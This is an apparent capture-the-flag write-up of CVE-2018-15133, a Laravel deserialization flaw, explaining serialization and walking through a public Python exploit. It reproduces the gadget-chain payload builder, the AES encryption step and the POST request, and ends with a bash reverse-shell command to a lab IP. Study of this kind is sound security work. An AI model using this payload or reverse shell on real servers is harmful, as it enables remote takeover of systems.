CVE-2018-15133

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur.

As a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc.

The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.


Mitre CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133

This CVE can be found in: https://www.hackthebox.com/machines/academy

Metasploit module: https://www.exploit-db.com/exploits/47129

Python script: https://github.com/aljavier/exploit_laravel_cve-2018-15133


What is unserialize or deserialization?

First of all, serialization is the process of converting an object from memory into a stream of bytes that may be stored and restored later on. For example a python dictionary can be serialized into a stream of bytes.

A stream of bytes is simply a sequence of bytes, one after the other, it is 8 bits composed of 1s and 0s. It's like a continuous flow of data. It can be text, images, audio or executables.

So now converting that stream of bytes back into the original python dictionary is called deserialization or unserializing.

source: GeeksforGeeks

What is the purpose of serialization:

  • Data storage: Save the state of an object or data structure to a file or database.

  • Data transmission: Serialized data can be sent over a network or between different systems.

Example using a Python object.

class Car:
    def __init__(self, brand, year):
        self.brand = brand
        self.year = year

Serialization of the Car class to JSON.

{"name": "BMW", "year": 2024}

Now taking the JSON and deserializing it back into the Car object.

json_data = '{"brand": "BMW", "year": 2024}'
person_object = json.loads(json_data)
# Resulting Python object: {'name': 'BMW', 'age': 2024}

RCE Laravel

We can run any code we want via the HTTP X-XSRF-TOKEN header because it makes an insecure unserialize call to Illuminate/Encryption/Encrypter.php

Laravel sessions are JSON objects, and in Laraval the Encrypter.php file generates a iv and value using OpenSSL and serializes them before returning JSON encoded object as the output.

Encrypt function
public function encrypt($value, $serialize = true)
{
    $iv = random_bytes(openssl_cipher_iv_length($this->cipher));
    $value = \openssl_encrypt(
        $serialize ? serialize($value) : $value,
        $this->cipher, $this->key, 0, $iv
    );
    if ($value === false) {
        throw new EncryptException('Could not encrypt the data.');
    }
    $mac = $this->hash($iv = base64_encode($iv), $value);
    $json = json_encode(compact('iv', 'value', 'mac'));
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new EncryptException('Could not encrypt the data.');
    }
    return base64_encode($json);
}

The other function in Ecrypter.php is decrypt where its getting the iv and value to decrypt data before deserializing the decrypted variable. When providing a valid JSON object it wil try to unserialize it and execute commands.

Decrypt function
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}

In short: The vulnerabilty is in the decrypt function's unserialization process. By providing a valid JSON structure, the function assumes the data is safe to unserialize, even if it contains malicious code, resulting in RCE.

The exploit

You can find the python script here: exploit_laravel_cve-2018-15133. The 3 functions that execute the exploit are generate_payload, encrypt and exploit.

generate_payload

Function will encode data base64 and assign to value . Decodes base64 leaked API key and add is to key.

def generate_payload(cmd, key, method=1):
# Porting phpgcc thing for Laravel RCE php objects - code mostly borrowed from Metasploit's exploit
if method == 1: # Laravel RCE1
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:
{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\\Generator":1:{s:13:"' +
"\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' +
"\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
<SNIP>
    value = base64.b64encode(payload_decoded.encode()).decode('utf-8')
    key = base64.b64decode(key)
    return encrypt(value, key)

encrypt

This function uses cipher to encrypt mac, vi and value. Its then passed in JSON format and base64 encoded as payload_encoded.

def encrypt(text, key):
    cipher = AES.new(key,AES.MODE_CBC)
    value = cipher.encrypt(pad(base64.b64decode(text), AES.block_size))
    payload = base64.b64encode(value)
    iv_base64 = base64.b64encode(cipher.iv)
    hashed_mac = hmac.new(key, iv_base64 + payload, sha256).hexdigest()
    iv_base64 = iv_base64.decode('utf-8')
    payload = payload.decode('utf-8')
    data = { 'iv': iv_base64, 'value': payload, 'mac': hashed_mac}
    json_data = json.dumps(data)
    payload_encoded = base64.b64encode(json_data.encode()).decode('utf-8')
    return payload_encoded

exploit

Is making a POST request and passing the payload into the X-XSRF-TOKEN header. They payload is made of cmd, api_key and method.

def exploit(url, api_key, cmd, method=1):
    payload = generate_payload(cmd, api_key, method)
    return requests.post(url,headers={'X-XSRF-TOKEN': payload})

Running the python script gives a reverse shell.

$ python3 laravel.py -c "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.9/8888 0>&1'" http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= 

Last updated

Was this helpful?